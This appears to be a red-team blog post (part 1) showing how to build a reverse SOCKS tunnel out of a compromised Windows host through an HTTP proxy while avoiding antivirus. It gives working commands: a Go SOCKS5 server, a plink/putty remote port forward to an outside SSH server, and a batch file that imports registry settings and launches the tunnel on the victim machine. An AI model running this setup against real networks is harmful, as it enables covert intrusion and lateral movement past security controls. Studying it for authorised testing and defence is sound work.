Reverse port forwarding SOCKS proxy via HTTP proxy (part 1)

In the context of a Red Team assessment, in this post I’ll look at some options for using SOCKS to gain external access to an internal network. I’ll cover the obvious methods and why I’m overlooking them, a crude method using standard tools (this post) and a more refined approach using modified tools (in part 2).

I recently spent quite a long time preparing for the CREST Certified Simulated Attack Specialist exam. While I won’t be discussing exam content (which I’m under NDA for), I thought it could be beneficial to write up at least some of the interesting stuff that I prepared prior to sitting the exam.

I spent a lot of time testing my tools and techniques against 5 different Anti-Virus (AV) products. I wanted to be sure that I had enough options available to me during the exam to operate efficiently, even if AV was present.  One scenario that I wanted to be prepared for was:

• Having a foothold (command execution) on a Windows system in an internal network; but
• being unable to deploy my normal C2 software (Cobalt Strike / Meterpreter) due to Anti-Virus / Endpoint Protection.

My practice had shown that I was able to deploy my C2 software of choice onto only 4 out 5 test systems. So this seemed like something I needed to prepare for. Just in case.

In parallel with this, I’d found that performance of SOCKS over a reverse HTTPS connection was barely adequate for tunneling an RDP connection. So I was interested in finding a solution that was:

• Faster
• Worked through a proxy; and
• Worked in the presence of my nemesis AV product

My instinct was to try to SSH out of the network and use the SOCKS proxy built into SSH.  There were a few problems with this approach:

1. I needed an SSH client – which I could solve by using Putty (read on for the reason I didn’t use plink)
2. I needed to get an SSH connection out of the network – which could probably do via the proxy using HTTP CONNECT in the same way used for legitimate TLS connections
3. SSH allows SSH clients to send traffic through a SOCKS proxy running on the SSH server. This was the opposite to what I needed. I needed the SSH server (on the “internet”) to be able to access a SOCKS Proxy running on the SSH Client. Which is a Windows box in this scenario. If the compromised host had been a *NIX host, I could potentially have SSH’d to localhost with the -D option to get the SOCKS server running, then made a second connection to the Internet to port-forward access to the SOCKS service

Solving (3): SOCKS server

To solve (3) I looked for a small command line SOCKS proxy that ran on Windows. I did find some, but they all felt a bit dodgy and some said on their website that they definitely weren’t malware, despite what AV products said. Which is probably true, but it made them a poor option if I wanted to operate in the presence of AV.

Eventually I stumbled on a SOCKS5 implementation written in golang written by Armon Dagar. I’d heard that golang malware would be on the rise in 2019, so this was a good opportunity for me to waste valuable revision time on a side-interest. I’d never even compiled a golan program before. If this wasn’t too hard, it would be a nice cross-platform solution for my needs.

$ mkdir -p ~/go/src
$ cd !$
$ git clone https://github.com/armon/go-socks5
$ mv go-socks5 socks5
$ cd socks5
$ go build

No errors

But no server either. This is just a library! You need to write some code to use it.

Fortunately, the author provides an example that’s easily adapted:

mkdir -p ~/go/src/mysocks5
cd !$
$ cat << EOF > mysocks.go
// Create a SOCKS5 server
package main
import "socks5"

func main() {
  conf := &socks5.Config{}
  server, err := socks5.New(conf)
  if err != nil {
    panic(err)
  }

  // Create SOCKS5 proxy on localhost port 1080
  if err := server.ListenAndServe("tcp", "127.0.0.1:1080"); err != nil {
    panic(err)
  }
}
EOF
go build

Done! I now had a “mysocks5″ executable. And it worked. Repeating similar steps on Windows gave me a working mysocks5.exe. I was starting to like golang at this point.

Solving (1): Putty configuration

After getting almost to the finish line with the following plink command, I couldn’t specify an HTTP proxy from the command line:

plink -N -P 443 -i puttykey.priv.ppk -R 2080:127.0.0.1:1080 -hostkey db:b0:69:08:20:b1:61:2d:da:f4:e2:d8:0f:b8:71:9a tunnnel@192.168.0.1

A quick overview of options here:

• -N: – I don’t need a shell, just an SSH connection for port forwarding
• -P 443 – Target port 443, not 22 since the proxy is likely to restrict us in this way
• -i puttykey.priv.ppk – The private key to access my listening SSH server, I needed logon to be non-interactive, obviously
• -R 2080:127.0.0.1:1080 – Open a listening port (2080) on the SSH server and forward connections to that port to 127.0.0.1:1080 on the SSH client
• -hostkey db:b0:69:08:20:b1:61:2d:da:f4:e2:d8:0f:b8:71:9a – We don’t want any warnings or questions about unverified host keys
• tunnnel@192.168.0.1 – Log into 192.168.0.1 as user tunnel

Using the normal putty.exe GUI, I saved a session that specified all of the above detail, plus the required proxy settings (unauthenticated in the case of my lab):

I saved a putty session called myproxy, then retried plink:

plink -load myproxy

It crashed. Hence, why I’m not using plink.  Putty works fine, though:

putty -load myproxy

Well, sort of fine. The victim user would have a suspicious-looking putty window pop up alongside the mysocks console window. But this is just a PoC. Let’s ignore these missing optimisations!

On the server-side, we see a network listener on port 2080.

tcp 0 0 0.0.0.0:2080 0.0.0.0:* LISTEN

I wanted the service bound to 0.0.0.0 for my environment, but consider that anyone with network access could abuse your SOCKS proxy.

This provides a relatively high-performance SOCKS server – much better than those laggy SOCKS-over-reverse-HTTPS connections. Implants typically poll periodically over HTTPS, which means that traffic can only be sent when the implant calls home. The above method is more akin to SOCKS-over-reverse-TCP. Data can be sent in either direction immediately without waiting for a check-in. Arguably, the above method will create a more suspicious traffic pattern and some application-layer aware proxies won’t allow it (though tunneling over SSL could help).

Packaging it up

To deliver above attack, we need to package up the software and configuration so it can be run from the command line. We’ll assume that we can upload and unpack zip files for this part (or the post will get too long). I included the following in myproxy.zip:

• putty.exe
• mysocks5.exe
• myproxy.reg – Created by doing “reg export HKCU\Software\SimonTatham myproxy.reg”, then removing unnecessary configuration data in a text editor
• puttykey.priv.ppk – Created using puttygen, be sure to copy the openssh-format public key into ~tunnel/.ssh/authorized_key on the SSH server too
• mysocks.bat – See below

To deploy, we need to run mysocks.bat, which does the following:

reg import myproxy.reg
start mysocks5
putty -load myproxy

All finished. We can pivot through our fast SOCKS proxy. For example, to access RDP on the internal network, I’d do something like:

$ cat /etc/proxychains.conf
...
socks5  127.0.0.1 2080
$ proxychains remmina

Where remmina is a pretty awesome RDP client for Linux. You can also use proxifier on Windows if you’d rather use mstsc.exe.

Conclusion

We showed a PoC to get a reverse SOCKS connection out of a network using tools that won’t trigger AV. They don’t require privileges run, so would work against an unprivileged windows user. The connection is faster than if we’d used the SOCKS features of C2 solutions that use polling reverse-HTTPS connections.

Our attack is untidy because the user can see everything that happens! It’s also awkward to set up because of the registry export and required packaging.

Further Reading

• Chisel is a tool that can create a SOCKS-over-SSH-over-CONNECT-HTTP tunnel in the opposite direction the direction I needed
• Crowbar is a tool that lets you do port forwarding over HTTP channels (no reliance on the proxy CONNECT method)